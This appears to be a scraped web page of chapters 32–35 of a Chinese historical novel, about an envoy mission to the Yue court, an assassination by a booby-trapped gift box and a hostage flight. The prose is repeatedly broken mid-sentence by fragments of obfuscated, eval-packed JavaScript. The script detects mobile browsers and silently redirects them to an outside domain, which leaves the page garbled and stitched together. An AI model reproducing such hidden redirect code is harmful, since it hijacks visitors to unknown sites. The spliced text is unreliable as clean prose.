RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261160|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磕头求饶。 那青年原本已经扭身离去,听他不断哀求,忍不住停下了脚步:“这位公子,此事与他无关。这马之所以忽然暴躁,是你腰上的香囊惹的祸!” 萧权闻言一惊,立马看向了腰间的香囊:“香囊?这香囊怎么了?有什么不妥么?” 那青年耐心解释道:“此马名为赤睚,生长于祁山之中,生性十分勇猛,甚至不畏豺狼虎豹,但却十分惧怕一种蝙蝠。” “蝙蝠?” “是……那种蝙蝠也是祁山特有,一旦被它们缠上,身体便会麻痒难耐,为了甩掉它们,这些马就会一直奔跑,直到力竭而亡。因此这些马一旦闻到这种蝙蝠的味道便会躁动不安。方才公子尚在马背上时,我便有闻到类似的味道,如今想来,大概是有人用浸了蝙蝠血的香料,放进了公子的香囊之中。” 萧权脸色骤变,这才意识到自己大概是被人设计了。 许久之后,他才双手抱拳,沉声问道:“承蒙阁下相救,在下感激不尽!不知阁下该如何称呼?” 没等对方回答,荒林深处忽然有一道模糊的声音传来,隐隐带着催促之意 听到招呼声,那青年有些抱歉地冲萧权笑了笑,随即纵身离去,没有再做停留。 徐恙蒙他解围,这才保住了一条性命,心中不禁又是感激,又是后怕。 眼见萧权似乎也已经把全副心思都放在了那只香囊上,没有打算再理他,徐恙小心翼翼地从地上爬了起来。 起身的那一刻,随着眼前亮光一闪,他很快便发现一枚质地极好的玉牌,正静静躺在不远处的一处草丛之中。 徐恙将玉牌拾起后,发现牌面上刻有字样,很快便判断出并非萧权之物,应该是方才那个青年在救人时不慎遗落的。 但对方已经走远,他也无法归还,于是便悄悄收了起来。 回到牧监局之后没多久,宫中便传来消息,有人因在太子的香囊中动了手脚,意图谋害太子而获罪问斩。 听闻消息之后,徐恙越想越后怕,深知宫廷之中风云变幻,自己随时可能会被卷进各种阴谋而成为政治斗争中的替罪羊。 为了保命,他干脆称病请辞,匆匆离开了越国。 此后不久,徐恙一路辗转,来到了燕国帝都,并做起了马匹生意。日子过得虽然不算大富大贵,倒也是衣食不愁。 某日应朋友相邀,他去往莳花馆喝酒,却遇见了两个年轻的公子哥正为了争夺成为柳行云入幕之宾的机会,正如斗鸡一般,争得脸红脖子粗。 友人见状,只觉心生感慨,在憧憬着柳行云的绝世风采的同时,又遗憾着以自己身家大概这辈子都无缘得见这位声名在外的妓馆头牌。 徐恙届时已经有了几分醉意,酒精上头之下,当即就拍胸打肚地表示,得见柳行云不过是小事一桩。 对方只当他是不知天高地厚,忍不住将他奚落了一番。 情急之下,徐恙拿出了那块玉牌大肆炫耀,以示自己财力不斐,有被那位妓馆头牌青眼以待的资格。 友人虽不知那玉牌来历,却也看得出并非凡品,连连惊叹了一番后,对待他的态度里也多出了几分羡慕与讨好。 徐恙虽然虚荣,却也没真打算把那块玉牌就这么随便送出去,自尊心得到满足后,便将玉牌收了回去,打算见好就收。 不料不久之后,妓馆老鸨竟是特意找到了他,说是柳姑娘听闻他谈吐不凡,想要与他亲自聊一聊。 徐恙突逢艳遇,自是忍不住满心欢喜。 但他毕竟在越国皇室中历练过,也懂得天上不会落大饼的道理,兴奋之余,心中也难免多了几分警惕。 见到柳行云之后,他发现对方虽然巧笑嫣然,即尽温存,但几句话聊下来,却都是在拐弯抹角地打探那块玉牌的来历,不禁让他更是心惊。 所谓君子无罪,怀璧其罪,何况以那青年当时的身手来看,显然也不是什么普通人。 如今他私藏了对方的物件,也不知会招来怎样的祸事。 念头至此,对于这来之不易的艳福徐恙也无心再消受,中途找了个入厕更衣的借口,便匆匆离开了莳花馆。 自那之后,他便将那块玉牌藏在了家里,再也没拿出来张扬过,自己也换了住所,过上了低调小心的生活。 只是未曾料到的是,因为夏翌之死,这段旧事终究还是被大理寺给翻出来了。 32. 出访 如果说,在廖庭的转述开始之初,温沉吟还有考虑过,当初将玉牌落下的是否另有其人,那么当故事说到荒林驯马时,她已经可以判定,那个在萧权遇险时,将他救下的青年,必然就是裴瑾本人。 毕竟当初裴瑾化名小豆子时,和她吐露的家世经历虽说大多都是信口胡诌,但关于在祁山偶遇赤睚之事,却说得活灵活现,无比生动。 若非亲身历经,任谁绝对无法编造出其中的种种细节。 而那青年将萧权救下时,所表现出来的对赤睚生活习性的了解,显然也需有所经历,才会如此熟识。 只是从徐恙的描述来看,当时的裴瑾神智清醒且身手矫健,并不像是身处困局。 既是如此,他又为何会一直消失在众人的视野里,迟迟不回燕国? 思绪翻涌之间,她只觉得尚有很多细节需要仔细核实,于是赶紧问道:“廖大人公务繁忙,还不忘为这种小事费心,小女实在感激。只是不知那徐恙如今身在何处,是否能让我见上一面?有些事情,我还想问问他……” 廖庭摇了摇头:“见不到了,徐恙已经死了。” 温沉吟闻言一惊:“死了?他是怎么死的?” 廖庭叹声解释道:“我们找上徐恙没多久,他便突染恶疾,日日呕血不止。问话之后没几天,便一命呜呼了。” “那他究竟是染上了何种恶疾,大人可曾查明?” “查过了。按照仵作的说法,应该是他误食了什么有毒之物,才会遭此惨祸。” “……” 徐恙以驯马为生,想来身体底子应该不错。如今却忽然暴毙而亡,难免让人觉得蹊跷。 想到柳行云之前曾经说过,大理寺中也有庆国暗探埋下的眼线,温沉吟更是觉得心中发凉。 廖庭显然也已经从她的反应中意识到了她心中所想,神色变得有些尴尬。 又稍坐了一阵后,便起身告辞了。 廖庭离开之后,温沉吟将他送来的信息细细复盘了一遍。 虽然依旧有许多疑团未解,但裴瑾依旧可能还活着的事实,还是让她很长一段时间里郁郁难安的心再次燃起了新的希望。 越国与燕、庆两国边境相交,距离涧云峡的位置也不远。 裴瑾若是遇到危险,想要避开庆国军队的追击,绕道越国,也并非不可能。 如今迟迟未归,或许是在越国境内被什么事情给绊住了…… 想到这里,温沉吟迅速平复心绪,将温珩唤进了自己房中。 听完温沉吟的讲述之后,温珩心中也是惊疑不定,一番思索之后,便很快表示:“按照徐恙的说法,涧云峡一战后,瑾哥定是在越国出现过。如今他之所以突然暴毙,应该也是有人想要他彻底闭嘴,刻意隐瞒瑾哥的行踪。只是如今徐恙已死,此种细节已无从查起……接下去要怎么办,不知姐姐心中可有计较?” 温沉吟早已经打定了主意,当即缓声表示:“徐恙虽死,萧权却还活着。他既是越国太子,又曾与瑾哥打过照面,若是能当面问问,说不定能有新的线索。” “姐姐是想去见萧权?” 温珩似是被她的想法惊到了:“且不说萧权此前并未见过瑾哥,即便那日被瑾哥相救,也未必会将此种细节放在心上,就说以我们的身份,又如何能轻易得见越国太子?” “那不是还有贵妃娘娘帮忙么?” 温沉吟眉目微挑,声音里多出了一丝嘲讽:“贵妃娘娘既然费心费力地为六殿下争取到了一个出使越国,为他们的皇帝陛下庆生贺寿的机会,那咱们就去讨个恩旨,一起去便是了!” 越国作为燕国的附属小国,常年以来,一直对燕国保持着敬畏之心。 燕国皇帝为表恩义,每逢越国皇室中有节庆之事,也会派遣使节出贺。 只是无论是经验还是年纪,魏弘宣都非此次出贺的最佳人选,因此派他出使的旨意颁布之后,便在朝臣之中引发了不少议论。 自荟英堂相识以来,温珩与魏弘宣一直保持着不错的私交,听到那些议论后,难免打探了一番,这才知道,此番派使臣出行,魏栩明原本另有人选,最后却因为银骊姬一直在他耳边吹枕头风,才把差事交到了魏弘宣手里。 银骊姬入宫不久,便替魏栩明诞下一名皇子,取名魏弘昭。 为了给自己儿子挣个好前程,她自然免不了处处筹谋,以讨魏栩明的欢心。 尤其是在皇后嫡出的二皇子因病早逝之后,她更是尽心竭力地将魏弘昭当作未来的太子在培养。 只可惜魏弘昭性情愚钝,做起事来也冒失张扬,尤其是在机敏聪慧的魏弘宣面前,更是被衬托得犹如朽木一般。 随着魏弘宣一日日长大,魏栩明对这个儿子越发关注,银骊瑾看在眼里,急在心中,已然将他视作为了自家儿子登上太子之位的最大威胁。 平日里当着外人的面,虽然总是一幅贤妃慈母的形象,但私下里却没少给他使绊子。 这样一个面热心冷,又心思深沉的女人,忽然将如此大出风头的机会拱手让出,难免让人心下生疑。因此,听闻自家姐姐打算跟随使团同去越国之后,温珩惊诧之余,难免也有些忧心忡忡。 只是温沉吟决心已定,再劝也是无用,无奈之下,温珩只能领命而去,从魏弘宣那里替姐姐和自己讨要了两个名额。 几日之后,温沉吟将府中的诸般事宜交代给了卫宁,便和温珩一起登上了前往越国的马车。 温珩心有戒备,一路在魏弘宣的左右严防死守,就怕银骊姬暗中设计,中途生出什么乱子。 索性一路走下来,行程无惊无险,并无半点意外。 历经数日的车马劳顿之后,一行人总算顺利抵达越国皇城。 越国地小人稀,却因为独特的地理位置常年经受战乱之苦。 为了保住自己的国家不被吞并,越王萧赢自登基之后,便放下身段,主动选择了强大的燕国作为依附。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261161|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如今萧赢已是六十之寿,过往的几十年里,都因为在小心翼翼地揣摩着大燕皇帝的心思而活得如履薄冰。 如今生辰之际,对方不仅专门派出了使团出贺,担任使节的还是身份尊贵的皇子,这让他在受宠若惊之余,也难免有些战战兢兢。 为了迎接燕国使团的到来,萧赢早早便已做好了各种准备。 使团入城当日,便设下盛宴,以亲眷朝臣做陪,一路热情地将他们迎进了宫中。 魏弘宣第一次履行这么重要的任务,进宫的路上难免有些紧张。 然而真正站到了大殿之中,开始以使节的身份对越王致辞见礼时,却迅速稳住了心神,举手投足间皆是大国皇子的风范。 在场之人见他年纪虽小,却是气度稳重,谈吐从容,感叹之余,也不禁对燕国心生敬服。 温沉吟站在使团的队伍中,行完礼后,便开始悄然朝着四下打量。 然而大殿之中,身着华服的皇亲贵戚乌泱泱地坐在一起,一时之间也分辨不出究竟哪一位才是太子萧权。 另一边,魏弘宣已经将贺辞宣读完毕,在萧赢一脸感恩的笑容里,有条不紊的进入了下一个流程:“臣此次前来,除了代父皇祝陛下大寿之喜外,还备下了一些贺礼,还望陛下笑纳!” 在众人的注视下,几个捧着礼盒的使臣鱼贯而入,走到了他的身旁。 为了展示国威,并向萧赢表示恩信之心,燕国在此次寿礼的准备上下了不少功夫。除了常规的金银玉器之外,更是备下了不少难得一见的世间珍宝 随着礼盒一个个被打开,各种珍奇之物一一呈现在众人面前,饶是在场之人都是高官重臣,平日里享尽了人间富贵,但亲眼见到那些可遇不可求的稀世之物时,依旧忍不住啧啧称奇,面露艳慕。 礼盒开到最后,只剩下了一个三尺见方的檀木盒子。 魏弘宣像是对它极为重视,开启之前,先一步满是郑重介绍了起来:“父皇盛年之时,曾在苦寒之地偶得了一块黑玉。那玉不仅浑然天成,质地极好,而且触手生温,寒冬之时将它拢在手里,便如同抱着暖炉一般……父皇视它作天降之宝,向来十分珍视。如今逢陛下大寿之际,特将它作为贺礼,只愿陛下能福寿延绵,万世永康!” 在他字字铿锵的介绍声中,所有人的目光都落在了那个檀木盒子上,就连萧赢也面露期待之色,情不自禁地伸长了脖子。 魏弘宣见状,神情也变得越发谨慎。 在众人的注视下,他珍而重之的将盒盖掀起。 正待将贺礼呈上,随着“擦”地一声轻响,一支精光芒动的短箭忽然从盒身中弹出,堪堪从他的颈间擦过后,直直射向了正前方。 这一下变故来得猝不及防,就连距离木盒最近的魏弘宣都没意识到究竟发生了什么。 片刻之后,随着一阵惊呼声响起,他才骤然惊觉,片刻之前还满脸笑容的萧赢已然胸口中箭,一声不吭地瘫到在了皇位之上! 33. 威胁 异国皇子排场十足地前来贺寿,献礼之际却让自家君主身中利箭,生死未卜,这场面实在太过匪夷所思。 顷刻之间,在场之人都有如中了定身法一般,面如死灰一般僵在了原地,像是在努力消化这个意料之外的结果。 那一刻,整个大殿陷入死寂,便是连一根针掉在地上的声音都能听得到。 短暂的沉默后,终于有人回过神来,惊惧交加的指向了魏弘宣的方向,声音中都是歇斯底里:“来人阿!此人图谋不轨,刺杀陛下,赶紧将他拿下!” 随着一阵脚步声响起,原本守备在侧的侍卫已经疾步而上,将使臣的队伍围在了大殿中央。 魏弘宣突遭巨变,心中早是一片空白。 此刻听闻对方竟是将他当作刺客,终于回过神来,忍不住高声辩解道:“陛下中箭非我本意,这其中定是有什么误会!还望各位先容我将真相查明!” 温珩见状,也赶紧随声附和:“各位且想一想,殿下此次前来,是奉燕王之命替陛下庆生!燕、越两国向来交好,又如何会遣皇子在大庭广众之下做出刺杀之事!各位切勿冲动,以免伤了双方的和气!” 没等他把话说完,已经有人呵斥出声:“陛下中箭已是不争的事实!你们还罗嗦什么!赶紧将人拿下,若有反抗,就地格杀!” 随着那声呼和,围站在四周的侍卫纷纷拔剑而出,再次逼近。 温珩见势不妙,赶紧踏步向前,将魏弘宣死死护在了身后。 历经了短暂的错愕后,温沉吟已然冷静下来。 眼见温珩护住魏弘宣后,似是还想要辩解,当即一把拽住了他的胳膊,低声叮嘱道:“阿珩,越王陛下已然中箭,再做辩解已是无用。眼下当务之急,咱们要先将殿下带出宫去,若是继续留在此地,只怕是凶多吉少!” 温珩也明白群情激昂之下,已然不是说道理的时候,听到她的交代,当即纵身向前,抢过了一名侍卫的佩刀。 见他忽然动手,旁人也嗅出了燕国使团不愿束手就擒的信号,一时间催促声、怒骂声接连响起,原本喜气洋洋的大殿上瞬间乱成一了一锅粥。 温珩护着魏弘宣与温沉吟且战且退,片刻之后,便已经退到了正殿的大门处。 然而抬眼之间,发现殿外不远的地方人影涌动,一波波的侍卫正接连而来,殿中的侍卫也在层层压上,他干脆将心一横,看向了温沉吟:“姐姐,如今敌众我寡,只怕难以全身而退。一会我和其他人尽力杀出一条血路,若有机会,你便带着殿下先走!” 温沉吟心知使团中人大多不会武功,即便温珩以命相博,也总有力竭之时。 念头急转之间,她的目光忽然落在了不远处一个身穿华服的青年身上,顿时眼前一亮,立马低声提醒:“阿珩,擒贼先擒王。你先找个皇子擒下,他们投鼠忌器,我们便有机会出去了!” 话音刚落,人群中忽然一道黑影飞起,竟已直直朝着那个青年的方向扑去。 混乱之中,那青年原本正一脸焦急观望着眼前的战局,忽然被人袭击,竟是根本来不及反应。护在他身边的几名侍卫见势不妙,想要阻拦,却被那道黑影迅速拍开。 不过转瞬之间,青年已经落入人手,被一把尖刀抵住了咽喉。 发现事情再度生变,原本已经对擒下魏弘宣势在必得的朝臣们纷纷变了脸色。 嫔妃之中更是有人直接哭喊了出来:“权儿!你别伤了我的权儿!” 意识到那人所擒之人便是萧权,温沉吟不禁心下一喜。 几乎同时,手持尖刀之人已经扣着萧权,一步步地走出了人群。 萧权万万没想到父皇刚中箭没多久,死亡的阴影居然就落到了自己头上,一时间只觉得神魂俱裂,双腿发软。 但身为一国太子的尊严还是让他勉力支撑着自己,颤声问道:“大胆贼人,你想要做什么?” 那人眉角一挑,目光从朝臣们的脸上迅速扫过:“各位听好了!你们太子现在在我手里,若要保他性命,便立刻停手,放燕国使团出宫!” 他这句话声音不大,在场之人却都听得明明白白。 一时间,原本还在步步紧逼的侍卫们都有些迟疑地停下了脚步。 眼见局势暂时得以控制,那人很快将萧权带至温珩身边,朝他手里一扔,自己挡在了前面,低声催促道:“走!” 温沉吟见此人虽是一身燕国使臣打扮,却身手不凡,胆识过人,心下顿生异样之感。 但眼下形式危急,并不是深究对方来历的时候,于是赶紧冲温珩点了点头,便匆匆向着大殿外退去。 萧权被温珩用刀架着,想要反抗,却又怕他情急之下,真的伤了自己。 满心彷徨之下,只能一边跌跌撞撞地往后退,一边伸长了脖子看向不远处的大臣们,只盼着有人能够力挽狂澜,将自己救出这场危局。 两相僵持之间,一名须发皆白的老臣忽然拨开众人,疾步而上,冲着燕国使团退去的方向厉声怒斥道:“大胆贼人,我堂堂越国皇宫,可是任你们想来就来,想走就走的!” 见他挺身而出,萧权犹如见到了救命稻草,立马纵声呼救:“首辅大人救我!” 被他称作首辅大人的老臣似是被他的呼救声激起了满身的血性,口气更见悲愤:“我越国虽小,却也不能任人欺负。如今皇帝陛下被刺伤,你们却想全身而退,真当我越国是板上鱼肉,可以任由宰割么?!” 听到他的呵斥声,原本已经停下脚步的越国侍卫们似是得到号令,立刻杀气腾腾地围了上来。 温沉吟见势不妙,立马踏步向前,迎着对方的目光,厉声质问道:“这位大人,你如此不依不饶,非要将燕国使团留下,究竟是何居心?” 那老臣不想她会有此一问,一时间也有点愣神:“老臣不忿尔等所作所为,势必要将贼人拿下,替陛下讨回公道。此乃老臣身为人臣之责,又能有何居心?” 温沉吟冷声哼笑了起来:“公道?我燕国国势强盛,高手如云,若是有心刺杀越王陛下,又何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266247|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必挑这么一个场合让皇子殿下在众目睽睽之下亲自动手?此中蹊跷,明眼人一看便知!如今我们不过想保得皇子殿下平安,再与贵国一同追查此事,首辅大人却偏偏纠缠不休。所以大人究竟是想替越王陛下讨回公道,还是想逼得我们鱼死网破,杀了太子?” 随着她的质问声响起,朝臣之中很快传来了窃窃地议论声。 那老臣微愣之下,一张老脸顿时涨的通红:“你是何人?竟敢在此大放厥词!我乃一国首辅,忠君之心天地可鉴,又如何会逼杀太子!这么做于又我有何好处?” “逼杀太子有何好处,首辅大人心里自然清楚……” 话赶话的说到这里,对方已然上钩。 温沉吟趁热打铁,继续紧逼:“大人既为一国首辅,必定清楚国不可一日无君的道理。如今越王陛下中箭,已然生死未卜,若是太子殿下再丢了性命,越国的大小事务不就是首辅大人说了算么?届时首辅大人想拥立哪位新君上位,旁人还能阻拦么?” 那老臣闻言,脸色骤变,也不知是因她的诛心之论气急攻心,还是被说中了心事而气急败坏。 没等他有所驳斥,一个原本站在在人群深处嘤嘤哭泣着的妇人已经脚步踉跄地扑了出来:“你们统统住手,让他们走就是了!谁也不准伤了我的权儿!” 那老臣见状,赶紧促声劝说道:“皇后娘娘,你可万万不能听信奸人的挑拨,若是让他们就这么走了,不仅太子殿下安危难保,以后在想擒住他们,可就难的!眼下咱们人数众多,若是尽力一试,未必没有将太子殿下救下的可能!” 皇后原本就已因为眼前这惊天的变故心慌意乱,此刻听他这么一说,不禁又犹豫了起来。 两相僵持之间,局势再次陷入危险。 燕国使团一干人的性命,似乎已经掌控在了皇后的一念之间。 温沉吟深知时间拖得越久,对他们就越是不利,正待继续出言施压,之前将萧权擒住的青年使臣已经哼声笑了起来:“首辅大人既然你口口声声自称忠君,不如便由你来代替太子殿下,这样既能成全你的忠君之心,又能保太子殿下性命,你看如何?” 听他要以自己替换萧权,那老臣面色一僵,脚步瞬间顿在了原地。 再开口时,原本正气凌然的气势也弱了下来:“大胆贼人,竟敢在此胡言乱语!老臣忠君之心天地可鉴,为何要在尔等面前证明!” 那青年使臣哧声一笑,口气中都是揶揄:“看来首辅大人的忠君之心也不过如此,不过是说的比做的好听!皇后娘娘既然已经见识了,难道还真打算以太子殿下的性命做赌注,遂了首辅大人的心愿吗?” 皇后面色惨白,嘴唇哆嗦着,却终究没有再多说一个字。 眼见如此,那青年使臣迅速转身,朝着温珩点了点头:“咱们走!” 有了首辅这个前车之鉴,这一次,朝臣之中没有人再公然出声阻止。 不久之后,一行人终究还是在众目睽睽之下,一步步地退出了越国皇宫。 34. 沈星 好不容易从皇宫脱身,但死亡的阴影依旧笼罩在每个人的头顶。 使团之中虽说有多人出自鸿胪寺,过往也有出访过越国的经历,但大多是携公务而来,多在宫墙之内出没,真正在街市上行走的机会并不多。 此刻面对四下里全然陌生的环境,一时间都有些不知所措。 眼见天色将黑,温沉吟心知不能在这样漫无目的地耽误下去。但若继续众人一起行动,难免会招人耳目。 念头至此,她赶紧建议道:““六殿下,如今我们虽已出了皇宫,但越国人必定不会轻易罢休。但目标越大,越容易引人注目。不如就由我姐弟二人护送陛下,其余人等分开了走!” 魏弘宣死里逃生,心下早已失了主意,此刻听她提醒,心中只觉困惑:“温姐姐,越国太子如今已在我们手里,越国人为了保他性命,定不会再伤害我们!我们只要扣着他,便能安全回到燕国,为何还要分开走?” 听他口气天真,温沉吟不禁深深叹了口气,但还是耐着性子解释道:“适才是在宫中,当着所有皇后妃嫔和朝臣们的面,萧权的性命自然是必须要保。如今出了皇宫,他的性命究竟还值不值钱,那可就不一定了!” 魏弘宣赫然一惊,很快想起了不久之前温沉吟与首辅对峙的情形,不由得连声音都带上了几分颤意:“温姐姐的意思是,越国宫中,或许有人想借机要了萧权的性命?那人是谁……是刚才那位首辅大人么?” 温沉吟知他身为皇子,一路走来,虽然还未遭遇过危及性命之事,但也经历过不少凶险,此刻听闻萧权的处境,难免心生兔死狐悲之感。 为了让他宽心,她也只能柔声劝道:“宫内斗争繁复,为了谋夺皇位,难免有人会被牺牲。是否真的有人想要萧权的性命我并不清楚,但小心一点,总是好的。” 魏弘宣点了点头,似是明白了她的意思。 然而下一秒,他却忽然用劲抓住了她的手:“温姐姐,我母亲早逝,虽说太医说她是亡于心悸,但我却知道此事必有蹊跷。母亲临死前曾告诉我,她不求我能登上皇位,成为九五至尊,只盼着我能平安喜乐,安稳度日,所以一直以来,我都并无夺嫡之心。但照今日的情形看来,是不是只要我身为皇子,便逃不开被人谋害算计的命运?” 自相识以来,他一直表现的天真灿烂,性情随和,却不料在他的心灵深处,却一直笼罩着巨大的阴影。 看着眼前那双满是惊惧的眼睛,温沉吟只觉得心下一软,很快握住了他的手:“殿下请放心,无论殿下未来命运如何,我与阿珩都会尽力护着你的!” 片刻之后,按照温沉吟的交代,众人接连散去。 只是想到来时大家都是满身风光,盼着能在越国的土地上一展燕国的风采,如今却是狼狈逃窜,还不知道有没有命回到自己的国土,每个人的脸上,难免都带上了悲呛之色。 等到最后一队使臣也与他们分道扬镳,留在魏弘宣身畔的,便只剩下了温氏姐弟。 但除此之外,之前那个生擒萧权的青年也一直静静跟在他们身后,始终没有要离开的意思。 温沉吟知他身手不错,性情也机敏,留在魏弘宣身旁颇有助益,因此也没出声提醒,一直任由他跟在队伍中。 一行人在陌生的都城里停停走走,为了防止侍卫们的追捕,选的都是些僻静荒凉的小路,直到天色尽黑,才在一座破旧的祠堂里歇了脚。 魏弘宣身为皇子,虽然不受重视,但平日里过的都是锦衣玉食的生活 如今在危局之中,他的表现虽然并不娇气,但这一番折腾下来,也早已是浑身疲惫,饥肠辘辘。 走进祠堂后,他也不嫌脏,立马找了个角落的位置瘫坐在地,一边大口喘气,一边用力摁住了胃部。 见他脸色发白,浑身显然是饿得不轻,温沉吟也知道这样熬下去不是办法。 正打算出去找点吃的,一直跟随在后的那个青年使臣不知什么时候已经拎来了两只活鸡,动作麻利的开胸剖腹之后,便架在火上烤了起来。 片刻之后,随着柴火燃烧时轻微爆裂的声响,烤鸡的香气逐渐在空中弥漫。 在众人满是期待的目光里,青年拿出匕首,将烤鸡剖成了几块,一一送到了众人手中。 温沉吟冷眼旁观了一阵,见他一套流程下来动作熟练,不急不躁,显然这些活儿平日里是干惯了的,惊惑之心更甚。 趁着旁人都在大快朵颐,她缓步走上前去,在他身旁坐下:“敢问大人,这几只鸡是从哪里来的?” 对方头也不抬,专心拨弄着眼前的柴火:“来的路上路过几户院子,想着晚一点可能没地方找吃的,就顺手带上了。” “带?” 温沉吟似是被他的回答逗笑了:“大人这话说得倒是讲究。若不是你这顺手一带,大家可都得饿肚子了……” 她顿了顿,口气里带上了几分探究:“还不知大人尊姓大名,在何处供职?” 对方动作一滞,终于抬起头来:“在下沈星,就职于鸿胪寺。受鸿胪寺卿陆大人指派,陪同六殿下一同出使越国。 在他低哑地回答声里,温沉吟眼眸微转,与不远处的温珩交换了一个眼色。 为防有意外发生,此次出行之前,温珩早已协助魏弘宣将使团成员的名单细细过了一遍,防止有什么可疑之人混迹其中,半途添乱。 此刻见他微微点头,温沉吟已然明白,沈星这个名字的确存在于使团名单中。 确认了对方身份无疑,她心下略松,但疑团却并未因此完全打消:“今日我见大人殿中擒拿萧权时,身手倒是极好。供职于鸿胪寺平日里处理的大多都是些朝会议节之事,于大人而言,岂不是有些可惜了?” 对方飒然一笑,似是不以为然:“温小姐过誉了,在下也就是为了强身健体,练过一些粗浅的功夫,说不上什么好身手。何况在下自幼便对异国的风土人情感兴趣,能在鸿胪寺任职,时时有机会与异国使臣交流,也算是心愿得偿了。” 温沉吟不置可否地“恩”了一声,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275136|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“既是如此,大人之前出使过越国吗?” 对方摇了摇头,有点遗憾的样子:“我进鸿胪寺的时间不长,此番也是第一次出使越国。若非如此,咱们如今也不会如无头苍蝇一般在这都城里乱窜了……” 他的这番回答已然作证了温沉吟的某些猜想,让她瞬间脸色一僵。 还没想好是否要继续追问下去,另一边,魏弘宣已然站起了来,小心翼翼地将一块鸡腿递到了萧权眼前。 萧权被擒之后满心都是惊忿,为保尊严,对于周边的一切都是不闻不问,且拒不合作的态度。进了祠堂之后,他便双眼微阖着静坐在一旁,就连沈星分食鸡肉时,也表现得不屑一顾 眼下忽然察觉有人走近,他禁不住微微瑟缩了一下。 睁眼之后,发现竟是一脸无辜的魏弘宣,他禁不住又惊又怒,颤声骂道:“你这贼人还在这假惺惺地做什么?是杀害了父皇还觉得不够,现在还想要毒死我么?” 魏弘宣像是对他极是同情,对于他的斥骂,也不着恼,只是轻声解释道:“太子殿下,无论你是否相信,今日之祸,我事先的确毫不知情。但事情既然因我而起,我必然会将真相查明,给贵国一个交代!所以在此之前,还望殿下能够保重身体!” 萧权看着他,似是想从他的表情里判断这番话究竟是真是假。 半晌之后,他才重重将牙一咬:“若你所言不虚,就先把我放开再说!” 以他如今手足束缚的状态,想要进食也实在有些困难。 为表诚意,魏弘宣也没和旁人商量,很快便俯身解开了他身上的绳结。 眼见绳索已松,萧权慢慢站起身来,稍微活动了一下手脚,然后慢慢接过了魏弘宣手里的食物。 就在魏弘宣以为他终于肯放下敌意,接受自己的示好时,对方忽然牙齿一咬,将鸡腿狠狠朝着他脸上一扔,然后转身就向着祠堂外跑去。 魏弘宣没想到事情会突生变故,想要去拦却已然来不及。 几乎同时,温珩与沈星也已飞身跃起,朝着萧权逃离的方向追了过去。 只是越国的都城对于他们实在太过陌生,漆黑一片的环境里,想要辨明四周的环境更是困难重重。 四顾无人之下,温珩只觉得又惊又怒:“咱们要不兵分两路,各自寻找?若是等到天明,只怕就麻烦了!” 沈星到还保持着冷静,略略观察了一番后,很快沉声应道:“我们追出来的时间不算晚,既然没看到人,那他应该还躲在这条巷子里。你我二人分别将巷子两头堵住,从外向里搜,必然会有收获!” 话音刚落,巷首的地方忽然有火光亮起。 紧接着,一阵低沉的声音随着夜风传来:“这里有条巷子,你们进去搜搜,看看太子殿下是否在里面!” 发现有追兵赶到,温珩心下一跳,赶紧拉着沈星藏进了屋角的阴影处。 几乎同时,一道人影从不远处的柴堆里跳了出来,一边大声呼叫,一边向着火光的方向飞速奔了过去。 35. 故人 温珩心里很清楚,一旦萧权获救,越国皇室便没了顾忌,届时只要下令封城,魏弘宣和使团中人便会变成瓮中之鳖,彻底失去逃脱的机会。 但就眼下的形式而言,若正面应战,即便能将那些追兵击退,也难保不会惊动更多的人。 他心中为难,一时间也拿不定主意。 正在犹豫着要不要和沈星商量一下,争取速战速决,巷口的地方忽然传出一声惊呼:“你们都疯了吗?还不快住手!本宫便是你们要找之人!” 温珩心下一惊,赶紧屏息凝神,探头向外看去。 巷口的地方,几个手持火把之人面无表情地站在那里,已经将入口处牢牢堵死。 另有两人手握长刀,正一下下地朝着萧权劈砍着,仿佛根本没听见他在说什么。 萧权原本以为等到了救星,不料顷刻之间便形势反转,对方招招式式直指要害,竟是打算要了他的性命。 惊怒之下,他只能一边斥骂,一边勉力躲闪。 只是他虽然学过一些拳脚,但终究不是武学之人的对手,不过数招之间,身上便已经被砍伤了好几处。 温珩看了一阵,只觉得惊惑:“看来人的打扮,应该是越国朝中的侍卫。可他们怎会如此大胆,竟敢对他们的太子动手!难道就不怕事后追究下来,会株连九族么!” “追究?如何追究?” 